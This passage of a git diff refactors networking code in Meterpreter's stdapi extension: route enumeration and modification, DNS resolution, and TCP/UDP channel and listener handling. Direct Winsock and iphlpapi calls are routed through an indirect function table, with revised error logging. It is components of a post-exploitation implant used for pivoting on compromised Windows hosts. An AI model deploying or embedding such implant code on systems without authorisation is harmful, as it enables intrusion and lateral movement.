BREAK_ON_ERROR("[NET] request_net_config_get_routes: GetIpForwardTable2 failed"); + if (tableResult != NO_ERROR) { + dwResult = tableResult; + dprintf("[NET] request_net_config_get_routes: GetIpForwardTable2 failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; } // Enumerate it @@ -137,9 +135,12 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) Tlv route[5]; memset(int_name, 0, sizeof(int_name)); iface.InterfaceIndex = table_ipv6->Table[index].InterfaceIndex; - if (GetIpInterfaceEntry(&iface) != NO_ERROR) + tableResult = met_api->win_api.iphlpapi.GetIpInterfaceEntry(&iface); + if (tableResult != NO_ERROR) { - CONTINUE_ON_ERROR("[NET] request_net_config_get_routes: GetIpInterfaceEntry failed"); + dwResult = tableResult; + dprintf("[NET] request_net_config_get_routes: GetIpInterfaceEntry failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + continue; } route[0].header.type = TLV_TYPE_SUBNET; @@ -161,7 +162,7 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) route[3].header.length = (DWORD)strlen(int_name)+1; route[3].buffer = (PUCHAR)int_name; - metric_bigendian = htonl(table_ipv6->Table[index].Metric + iface.Metric); + metric_bigendian = met_api->win_api.ws2_32.htonl(table_ipv6->Table[index].Metric + iface.Metric); route[4].header.type = TLV_TYPE_ROUTE_METRIC; route[4].header.length = sizeof(DWORD); route[4].buffer = (PUCHAR)&metric_bigendian; @@ -174,8 +175,8 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) if (table_ipv4) free(table_ipv4); - if (table_ipv6 && pFreeMibTable) - pFreeMibTable(table_ipv6); + if (table_ipv6) + met_api->win_api.iphlpapi.FreeMibTable(table_ipv6); met_api->packet.transmit_response(dwResult, remote, response); @@ -221,8 +222,7 @@ DWORD request_net_config_remove_route(Remote *remote, Packet *packet) DWORD add_remove_route(Packet *packet, BOOLEAN add) { MIB_IPFORWARDROW route; - GETBESTINTERFACE pGetBestInterface = NULL; - GETIPINTERFACEENTRY pGetIpInterfaceEntry = NULL; + MIB_IPINTERFACE_ROW iface; LPCSTR subnet; LPCSTR netmask; LPCSTR gateway; @@ -234,48 +234,45 @@ DWORD add_remove_route(Packet *packet, BOOLEAN add) memset(&route, 0, sizeof(route)); - route.dwForwardDest = inet_addr(subnet); - route.dwForwardMask = inet_addr(netmask); - route.dwForwardNextHop = inet_addr(gateway); + route.dwForwardDest = met_api->win_api.ws2_32.inet_addr(subnet); + route.dwForwardMask = met_api->win_api.ws2_32.inet_addr(netmask); + route.dwForwardNextHop = met_api->win_api.ws2_32.inet_addr(gateway); route.dwForwardType = MIB_IPROUTE_TYPE_INDIRECT; // Assume next hop. route.dwForwardProto = MIB_IPPROTO_NETMGMT; route.dwForwardAge = -1; route.dwForwardMetric1 = 0; - pGetBestInterface = (GETBESTINTERFACE)GetProcAddress(GetModuleHandle(TEXT("iphlpapi")), "GetBestInterface"); - if (!pGetBestInterface) { + dwResult = met_api->win_api.iphlpapi.GetBestInterface(route.dwForwardNextHop, &route.dwForwardIfIndex); + if (dwResult == ERROR_PROC_NOT_FOUND) { dprintf("[NET] add_remove_route: GetBestInterface is not available."); return ERROR_NOT_SUPPORTED; } - - dwResult = pGetBestInterface(route.dwForwardNextHop, &route.dwForwardIfIndex); if (dwResult != ERROR_SUCCESS) { dprintf("[NET] add_remove_route: GetBestInterface failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); return dwResult; } dprintf("[NET] add_remove_route: GetBestInterface returned ifIndex=%d.", route.dwForwardIfIndex); - pGetIpInterfaceEntry = (GETIPINTERFACEENTRY)GetProcAddress(GetModuleHandle(TEXT("iphlpapi")), "GetIpInterfaceEntry"); - // If GetIpInterfaceEntry is available, use it to set the default metric because newer systems require that - if (pGetIpInterfaceEntry) { - MIB_IPINTERFACE_ROW iface = { .Family = AF_INET, .InterfaceIndex = route.dwForwardIfIndex }; - dwResult = pGetIpInterfaceEntry(&iface); - if (dwResult == NO_ERROR) { - route.dwForwardMetric1 = iface.Metric; - } - else { - dprintf("[NET] add_remove_route: GetIpInterfaceEntry failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); - } + // If GetIpInterfaceEntry is available, use it to set the default metric because newer systems require that. + memset(&iface, 0, sizeof(iface)); + iface.Family = AF_INET; + iface.InterfaceIndex = route.dwForwardIfIndex; + dwResult = met_api->win_api.iphlpapi.GetIpInterfaceEntry(&iface); + if (dwResult == NO_ERROR) { + route.dwForwardMetric1 = iface.Metric; } - else { + else if (dwResult == ERROR_PROC_NOT_FOUND) { dprintf("[NET] add_remove_route: GetIpInterfaceEntry is not available."); } + else { + dprintf("[NET] add_remove_route: GetIpInterfaceEntry failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + } if (add) { - dwResult = CreateIpForwardEntry(&route); + dwResult = met_api->win_api.iphlpapi.CreateIpForwardEntry(&route); } else { - dwResult = DeleteIpForwardEntry(&route); + dwResult = met_api->win_api.iphlpapi.DeleteIpForwardEntry(&route); } if (dwResult != ERROR_SUCCESS) { diff --git a/c/meterpreter/source/extensions/stdapi/server/net/net.c b/c/meterpreter/source/extensions/stdapi/server/net/net.c index 0511f5b0d..b7fc8e6bc 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/net.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/net.c @@ -12,12 +12,12 @@ static char * parse_sockaddr(struct sockaddr_storage *addr, uint16_t *port) if (host) { if (addr->ss_family == AF_INET) { struct sockaddr_in *s = (struct sockaddr_in *)addr; - *port = ntohs(s->sin_port); + *port = met_api->win_api.ws2_32.ntohs(s->sin_port); inet_ntop(AF_INET, &s->sin_addr, host, INET6_ADDRSTRLEN); } else if (addr->ss_family == AF_INET6) { struct sockaddr_in6 *s = (struct sockaddr_in6 *)addr; - *port = ntohs(s->sin6_port); + *port = met_api->win_api.ws2_32.ntohs(s->sin6_port); inet_ntop(AF_INET6, &s->sin6_addr, host, INET6_ADDRSTRLEN); } } @@ -37,7 +37,7 @@ const char * inet_ntop(int af, const void *src, char *dst, socklen_t size) { ((struct sockaddr_in6 *)&addr)->sin6_addr = *(struct in6_addr *)src; } - if (!WSAAddressToStringA((struct sockaddr *)&addr, sizeof(addr), NULL, dst, &size)) { + if (!met_api->win_api.ws2_32.WSAAddressToStringA((struct sockaddr *)&addr, sizeof(addr), NULL, dst, &size)) { dst = NULL; } return dst; @@ -56,7 +56,7 @@ DWORD net_tlv_pack_local_addrinfo(SocketContext *sock_ctx, Packet *packet) char *localhost = NULL; uint16_t localport = 0; - if (getsockname(sock_ctx->fd, (struct sockaddr *)&addr, &len) == -1) { + if (met_api->win_api.ws2_32.getsockname(sock_ctx->fd, (struct sockaddr *)&addr, &len) == -1) { return ERROR_UNIDENTIFIED_ERROR; } diff --git a/c/meterpreter/source/extensions/stdapi/server/net/resolve.c b/c/meterpreter/source/extensions/stdapi/server/net/resolve.c index b8a7aeaf6..a358615ee 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/resolve.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/resolve.c @@ -15,7 +15,7 @@ DWORD resolve_host(LPCSTR hostname, u_short ai_family, struct in_addr *result, s int iResult; WSADATA wsaData; - iResult = WSAStartup(MAKEWORD(2,2), &wsaData); + iResult = met_api->win_api.ws2_32.WSAStartup(MAKEWORD(2,2), &wsaData); if (iResult != NO_ERROR) { dprintf("Could not initialise Winsock: %x.", iResult); @@ -29,12 +29,11 @@ DWORD resolve_host(LPCSTR hostname, u_short ai_family, struct in_addr *result, s dprintf("Attempting to resolve '%s'", hostname); - iResult = getaddrinfo(hostname, NULL, &hints, &list); + iResult = met_api->win_api.ws2_32.getaddrinfo(hostname, NULL, &hints, &list); if (iResult != NO_ERROR) { dprintf("Unable to resolve host Error: %x.", iResult); - dprintf("Error msg: %s", gai_strerror(iResult)); } else { @@ -52,8 +51,8 @@ DWORD resolve_host(LPCSTR hostname, u_short ai_family, struct in_addr *result, s } } - freeaddrinfo(list); - WSACleanup(); + met_api->win_api.ws2_32.freeaddrinfo(list); + met_api->win_api.ws2_32.WSACleanup(); return iResult; } diff --git a/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c b/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c index ae2aad700..436591e5d 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c @@ -33,11 +33,11 @@ DWORD tcp_channel_client_write(Channel *channel, Packet *request, LPVOID context BREAK_WITH_ERROR("[TCP] tcp_channel_client_write. ctx == NULL", ERROR_INVALID_HANDLE); } - written = send(ctx->fd, buffer, bufferSize, 0); + written = met_api->win_api.ws2_32.send(ctx->fd, buffer, bufferSize, 0); if (written == SOCKET_ERROR) { - dwResult = WSAGetLastError(); + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); if (dwResult == WSAEWOULDBLOCK) { @@ -55,7 +55,7 @@ DWORD tcp_channel_client_write(Channel *channel, Packet *request, LPVOID context FD_ZERO(&set); FD_SET(ctx->fd, &set); - res = select(0, NULL, &set, NULL, &tv); + res = met_api->win_api.ws2_32.select(0, NULL, &set, NULL, &tv); if (res > 0) { dwResult = ERROR_SUCCESS; @@ -63,11 +63,11 @@ DWORD tcp_channel_client_write(Channel *channel, Packet *request, LPVOID context } else if (res == SOCKET_ERROR) { - dwResult = WSAGetLastError(); + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); break; } - Sleep(100); + met_api->win_api.kernel32.Sleep(100); } if (dwResult == ERROR_SUCCESS) @@ -125,7 +125,7 @@ DWORD tcp_channel_client_close(Channel *channel, Packet *request, LPVOID context // value, no other thread has started teardown; we own it. // If we swap NULL, the local-notify path already claimed cleanup; // we must leave ctx alone. - PVOID prev = InterlockedExchangePointer((PVOID*)&ctx->channel, NULL); + PVOID prev = (met_api->win_api.kernel32.InterlockedExchangePointer)((PVOID*)&ctx->channel, NULL); // Detach the native context from the channel regardless, so that // channel_destroy's subsequent free of `channel` cannot be observed @@ -145,7 +145,7 @@ DWORD tcp_channel_client_close(Channel *channel, Packet *request, LPVOID context // but do NOT free ctx - that thread owns it. if (ctx->fd) { - closesocket(ctx->fd); + met_api->win_api.ws2_32.closesocket(ctx->fd); ctx->fd = 0; } } @@ -175,7 +175,7 @@ DWORD tcp_channel_client_local_notify(Remote * remote, TcpClientContext * ctx) do { // Reset the notification event - ResetEvent(ctx->notify); + met_api->win_api.kernel32.ResetEvent(ctx->notify); FD_ZERO(&set); FD_SET(ctx->fd, &set); @@ -184,11 +184,11 @@ DWORD tcp_channel_client_local_notify(Remote * remote, TcpClientContext * ctx) tv.tv_usec = 0; // Read data from the client connection - dwBytesRead = recv(ctx->fd, buf, sizeof(buf), 0); + dwBytesRead = met_api->win_api.ws2_32.recv(ctx->fd, buf, sizeof(buf), 0); if (dwBytesRead == SOCKET_ERROR) { - DWORD dwError = WSAGetLastError(); + DWORD dwError = met_api->win_api.ws2_32.WSAGetLastError(); // WSAECONNRESET: The connection was forcibly closed by the remote host. // WSAECONNABORTED: The connection was terminated due to a time-out or other failure. @@ -223,7 +223,7 @@ DWORD tcp_channel_client_local_notify(Remote * remote, TcpClientContext * ctx) // closing this channel and its tcp_channel_client_close ran; that // path has left cleanup of ctx to us but is no longer using the // Channel struct. - Channel *chan = (Channel *)InterlockedExchangePointer((PVOID *)&ctx->channel, NULL); + Channel *chan = (Channel *)(met_api->win_api.kernel32.InterlockedExchangePointer)((PVOID *)&ctx->channel, NULL); dprintf("[TCP] tcp_channel_client_local_notify. [closed] chan=%p fd=%llu read=0x%.8x", (void*)chan, (unsigned long long)ctx->fd, dwBytesRead); @@ -247,7 +247,7 @@ DWORD tcp_channel_client_local_notify(Remote * remote, TcpClientContext * ctx) // Sleep briefly to let the framework drain buffered channel data // before we tear down the underlying socket. - Sleep(250); + met_api->win_api.kernel32.Sleep(250); // We own cleanup of ctx now; free_socket_context will skip the // channel.close branch because ctx->channel is NULL. @@ -269,7 +269,7 @@ DWORD tcp_channel_client_local_notify(Remote * remote, TcpClientContext * ctx) } } - } while (select(1, &set, NULL, NULL, &tv) > 0); + } while (met_api->win_api.ws2_32.select(1, &set, NULL, NULL, &tv) > 0); return ERROR_SUCCESS; } @@ -356,25 +356,25 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote do { // Allocate a client socket - if ((clientFd = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0)) == INVALID_SOCKET) + if ((clientFd = met_api->win_api.ws2_32.WSASocketA(AF_INET, SOCK_STREAM, 0, NULL, 0, 0)) == INVALID_SOCKET) { clientFd = 0; - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } s.sin_family = AF_INET; - s.sin_port = htons(remotePort); - s.sin_addr.s_addr = inet_addr(remoteHost); + s.sin_port = met_api->win_api.ws2_32.htons(remotePort); + s.sin_addr.s_addr = met_api->win_api.ws2_32.inet_addr(remoteHost); // Resolve the host name locally if (s.sin_addr.s_addr == (DWORD)-1) { struct hostent *h; - if (!(h = gethostbyname(remoteHost))) + if (!(h = met_api->win_api.ws2_32.gethostbyname(remoteHost))) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } @@ -383,9 +383,9 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d connecting...", remoteHost, remotePort); // Try to connect to the host/port - if (connect(clientFd, (struct sockaddr *)&s, sizeof(s)) == SOCKET_ERROR) + if (met_api->win_api.ws2_32.connect(clientFd, (struct sockaddr *)&s, sizeof(s)) == SOCKET_ERROR) { - result = WSAGetLastError(); + result = met_api->win_api.ws2_32.WSAGetLastError(); dprintf("[TCP] create client failed host=%s, port=%d error=%u 0x%x", remoteHost, remotePort, result, result); break; } @@ -425,9 +425,9 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote // Finally, create a waitable event and insert it into the scheduler's // waitable list dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d creating the notify", remoteHost, remotePort); - if ((ctx->notify = WSACreateEvent())) + if ((ctx->notify = met_api->win_api.ws2_32.WSACreateEvent())) { - WSAEventSelect(ctx->fd, ctx->notify, FD_READ | FD_CLOSE); + met_api->win_api.ws2_32.WSAEventSelect(ctx->fd, ctx->notify, FD_READ | FD_CLOSE); dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d created the notify %.8x", remoteHost, remotePort, ctx->notify); met_api->scheduler.insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL); @@ -449,7 +449,7 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote if (clientFd) { - closesocket(clientFd); + met_api->win_api.ws2_32.closesocket(clientFd); } channel = NULL; @@ -481,7 +481,7 @@ VOID free_socket_context(SocketContext *ctx) // Close the socket and notification handle if (ctx->fd) { - closesocket(ctx->fd); + met_api->win_api.ws2_32.closesocket(ctx->fd); ctx->fd = 0; } @@ -547,9 +547,11 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet) BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. ctx == NULL", ERROR_INVALID_HANDLE); } - if (shutdown(ctx->fd, how) == SOCKET_ERROR) + if (met_api->win_api.ws2_32.shutdown(ctx->fd, how) == SOCKET_ERROR) { - BREAK_ON_WSAERROR("[TCP] request_net_socket_tcp_shutdown. shutdown failed"); + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); + dprintf("[TCP] request_net_socket_tcp_shutdown. shutdown failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; } // sf: we dont seem to need to call this here, as the channels tcp_channel_client_local_notify() will diff --git a/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c b/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c index 5a385d8d2..3c2956a44 100755 --- a/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c @@ -29,9 +29,9 @@ static int get_ai_family(const char* address) { }; int ai_family = AF_UNSPEC; - if (getaddrinfo(address, NULL, &hints, &resolved_host) == 0) { + if (met_api->win_api.ws2_32.getaddrinfo(address, NULL, &hints, &resolved_host) == 0) { ai_family = resolved_host->ai_family; - freeaddrinfo(resolved_host); + met_api->win_api.ws2_32.freeaddrinfo(resolved_host); } return ai_family; } @@ -46,21 +46,21 @@ static int inet_pton(int af, const char* src, void* dst) { }; if ((src == NULL) || (dst == NULL)) { - WSASetLastError(WSAEFAULT); + met_api->win_api.ws2_32.WSASetLastError(WSAEFAULT); return -1; } if ((af != AF_INET) && (af != AF_INET6)) { - WSASetLastError(WSAEAFNOSUPPORT); + met_api->win_api.ws2_32.WSASetLastError(WSAEAFNOSUPPORT); return -1; } int ai_family = AF_UNSPEC; - if (getaddrinfo(src, NULL, &hints, &resolved_host)) { + if (met_api->win_api.ws2_32.getaddrinfo(src, NULL, &hints, &resolved_host)) { return 0; } if (resolved_host->ai_family != af) { // verify the returned address is of the expected family - freeaddrinfo(resolved_host); + met_api->win_api.ws2_32.freeaddrinfo(resolved_host); return 0; } if (af == AF_INET) { @@ -68,7 +68,7 @@ static int inet_pton(int af, const char* src, void* dst) { } else if (af == AF_INET6) { error = memcpy_s(dst, sizeof(struct in_addr6), &((struct sockaddr_in6*)resolved_host->ai_addr)->sin6_addr, sizeof(struct in_addr6)); } - freeaddrinfo(resolved_host); + met_api->win_api.ws2_32.freeaddrinfo(resolved_host); if (error) { return 0; @@ -94,7 +94,7 @@ VOID free_tcp_server_context(TcpServerContext * ctx) if (ctx->fd) { - closesocket(ctx->fd); + met_api->win_api.ws2_32.closesocket(ctx->fd); ctx->fd = 0; } @@ -181,15 +181,19 @@ TcpClientContext * tcp_channel_server_create_client(TcpServerContext * serverCtx clientctx->remote = serverCtx->remote; clientctx->fd = sock; - clientctx->notify = WSACreateEvent(); + clientctx->notify = met_api->win_api.ws2_32.WSACreateEvent(); if (clientctx->notify == WSA_INVALID_EVENT) { - BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_create_client. WSACreateEvent failed"); + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); + dprintf("[TCP-SERVER] tcp_channel_server_create_client. WSACreateEvent failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; } - if (WSAEventSelect(clientctx->fd, clientctx->notify, FD_READ | FD_CLOSE) == SOCKET_ERROR) + if (met_api->win_api.ws2_32.WSAEventSelect(clientctx->fd, clientctx->notify, FD_READ | FD_CLOSE) == SOCKET_ERROR) { - BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_create_client. WSAEventSelect failed"); + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); + dprintf("[TCP-SERVER] tcp_channel_server_create_client. WSAEventSelect failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; } memset(&chops, 0, sizeof(StreamChannelOps)); @@ -235,7 +239,7 @@ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx) SOCKADDR_IN6 clientaddr = { 0 }; SOCKADDR_IN6 serveraddr = { 0 }; SOCKET sock = 0; - DWORD size = 0; + int size = 0; char* localhost = NULL; char* peerhost = NULL; int localport = 0; @@ -248,20 +252,22 @@ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx) BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_notify. serverCtx == NULL", ERROR_INVALID_HANDLE); } - ResetEvent(serverCtx->notify); + met_api->win_api.kernel32.ResetEvent(serverCtx->notify); size = sizeof(SOCKADDR_IN6); - sock = accept(serverCtx->fd, (SOCKADDR*)&clientaddr, &size); + sock = met_api->win_api.ws2_32.accept(serverCtx->fd, (SOCKADDR*)&clientaddr, &size); if (sock == INVALID_SOCKET) { - if (WSAGetLastError() == WSAEWOULDBLOCK) + if (met_api->win_api.ws2_32.WSAGetLastError() == WSAEWOULDBLOCK) { - Sleep(100); + met_api->win_api.kernel32.Sleep(100); break; } - BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_notify. accept failed"); + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); + dprintf("[TCP-SERVER] tcp_channel_server_notify. accept failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; } dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", met_api->channel.get_id(serverCtx->channel), sock); @@ -274,14 +280,16 @@ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx) size = sizeof(SOCKADDR_IN6); - if (getsockname(serverCtx->fd, (SOCKADDR *)&serveraddr, &size) == SOCKET_ERROR) + if (met_api->win_api.ws2_32.getsockname(serverCtx->fd, (SOCKADDR *)&serveraddr, &size) == SOCKET_ERROR) { - BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. getsockname failed"); + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); + dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. getsockname failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; } if (!serverCtx->ipv6) { - localhost = inet_ntoa(((SOCKADDR_IN*)&serveraddr)->sin_addr); + localhost = met_api->win_api.ws2_32.inet_ntoa(((SOCKADDR_IN*)&serveraddr)->sin_addr); } if (!localhost) @@ -289,11 +297,11 @@ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx) localhost = ""; } - localport = ntohs(serverCtx->ipv6 ? serveraddr.sin6_port : ((SOCKADDR_IN*)&serveraddr)->sin_port); + localport = met_api->win_api.ws2_32.ntohs(serverCtx->ipv6 ? serveraddr.sin6_port : ((SOCKADDR_IN*)&serveraddr)->sin_port); if (!serverCtx->ipv6) { - peerhost = inet_ntoa(((SOCKADDR_IN*)&clientaddr)->sin_addr); + peerhost = met_api->win_api.ws2_32.inet_ntoa(((SOCKADDR_IN*)&clientaddr)->sin_addr); } if (!peerhost) @@ -301,7 +309,7 @@ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx) peerhost = ""; } - peerport = ntohs(serverCtx->ipv6 ? clientaddr.sin6_port : ((SOCKADDR_IN*)&clientaddr)->sin_port); + peerport = met_api->win_api.ws2_32.ntohs(serverCtx->ipv6 ? clientaddr.sin6_port : ((SOCKADDR_IN*)&clientaddr)->sin_port); dprintf("[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport); @@ -378,31 +386,33 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) ai_family = AF_INET6; } - ctx->fd = WSASocket(ai_family, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); + ctx->fd = met_api->win_api.ws2_32.WSASocketA(ai_family, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); if (ctx->fd == INVALID_SOCKET) { if ((ai_family == AF_INET6) && (!localHost)) { // if the socket that failed to be created was IPv6 but it was only selected because no // address was specified, fail back to IPv4 ai_family = AF_INET; - ctx->fd = WSASocket(ai_family, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); + ctx->fd = met_api->win_api.ws2_32.WSASocketA(ai_family, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); } } else if (ai_family == AF_INET6) { int no = 0; - if (setsockopt(ctx->fd, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR) + if (met_api->win_api.ws2_32.setsockopt(ctx->fd, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR) { // fallback to ipv4 - we're probably running on Windows XP or earlier here, which means that to // support IPv4 and IPv6 we'd need to create two separate sockets. IPv6 on XP isn't that common // so instead, we'll just revert back to v4 and listen on that one address instead. - closesocket(ctx->fd); + met_api->win_api.ws2_32.closesocket(ctx->fd); ai_family = AF_INET; - ctx->fd = WSASocket(ai_family, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); + ctx->fd = met_api->win_api.ws2_32.WSASocketA(ai_family, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); } } if (ctx->fd == INVALID_SOCKET) { - BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSASocket failed"); + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); + dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. WSASocket failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; } struct sockaddr_in6 sockAddr = { 0 }; @@ -416,10 +426,10 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) iResult = inet_pton(AF_INET, localHost, &v4Addr->sin_addr); } else { - v4Addr->sin_addr.s_addr = htons(INADDR_ANY); + v4Addr->sin_addr.s_addr = met_api->win_api.ws2_32.htons(INADDR_ANY); } v4Addr->sin_family = AF_INET; - v4Addr->sin_port = htons(localPort); + v4Addr->sin_port = met_api->win_api.ws2_32.htons(localPort); sockAddrSize = sizeof(struct sockaddr_in); ctx->ipv6 = FALSE; } @@ -429,10 +439,10 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) iResult = inet_pton(AF_INET6, localHost, &sockAddr.sin6_addr); } else { - sockAddr.sin6_addr = in6addr_any; + memset(&sockAddr.sin6_addr, 0, sizeof(sockAddr.sin6_addr)); } sockAddr.sin6_family = AF_INET6; - sockAddr.sin6_port = htons(localPort); + sockAddr.sin6_port = met_api->win_api.ws2_32.htons(localPort); sockAddrSize = sizeof(struct sockaddr_in6); ctx->ipv6 = TRUE; } @@ -442,31 +452,41 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) // inet_pton returns 1 on success, 0 and -1 on failure depending on if an error is placed in WSAGetLastError if (iResult == -1) { - BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed, invalid address (inet_pton failure, WSAError)"); + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); + dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed, invalid address (inet_pton failure, WSAError). error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; } else if (iResult != 1) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed, invalid address (inet_pton failure)", ERROR_INVALID_PARAMETER); } - if (bind(ctx->fd, (SOCKADDR *)&sockAddr, sockAddrSize) == SOCKET_ERROR) + if (met_api->win_api.ws2_32.bind(ctx->fd, (SOCKADDR *)&sockAddr, sockAddrSize) == SOCKET_ERROR) { - BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed"); + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); + dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; } - if (listen(ctx->fd, SOMAXCONN) == SOCKET_ERROR) + if (met_api->win_api.ws2_32.listen(ctx->fd, SOMAXCONN) == SOCKET_ERROR) { - BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. listen failed"); + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); + dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. listen failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; } - ctx->notify = WSACreateEvent(); + ctx->notify = met_api->win_api.ws2_32.WSACreateEvent(); if (ctx->notify == WSA_INVALID_EVENT) { - BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed"); + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); + dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; } - if (WSAEventSelect(ctx->fd, ctx->notify, FD_ACCEPT) == SOCKET_ERROR) + if (met_api->win_api.ws2_32.WSAEventSelect(ctx->fd, ctx->notify, FD_ACCEPT) == SOCKET_ERROR) { - BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed"); + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); + dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; } memset(&chops, 0, sizeof(StreamChannelOps)); @@ -507,7 +527,7 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) if (ctx->fd) { dprintf("[TCP-SERVER] Destroying socket"); - closesocket(ctx->fd); + met_api->win_api.ws2_32.closesocket(ctx->fd); } if (ctx->channel) diff --git a/c/meterpreter/source/extensions/stdapi/server/net/socket/udp.c b/c/meterpreter/source/extensions/stdapi/server/net/socket/udp.c index 348577437..486b7f26f 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/socket/udp.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/socket/udp.c @@ -40,20 +40,20 @@ DWORD udp_channel_write( Channel * channel, Packet * request, LPVOID context, LP } else { - rhost = inet_addr( host ); + rhost = met_api->win_api.ws2_32.inet_addr( host ); } saddr.sin_family = AF_INET; - saddr.sin_port = htons( rport ); + saddr.sin_port = met_api->win_api.ws2_32.htons( rport ); saddr.sin_addr.s_addr = rhost; - dprintf( "[UDP] udp_channel_write. channel=0x%08X, buffsize=%d to %s:%d", channel, dwBufferSize, inet_ntoa(saddr.sin_addr), ntohs(saddr.sin_port) ); + dprintf( "[UDP] udp_channel_write. channel=0x%08X, buffsize=%d to %s:%d", channel, dwBufferSize, 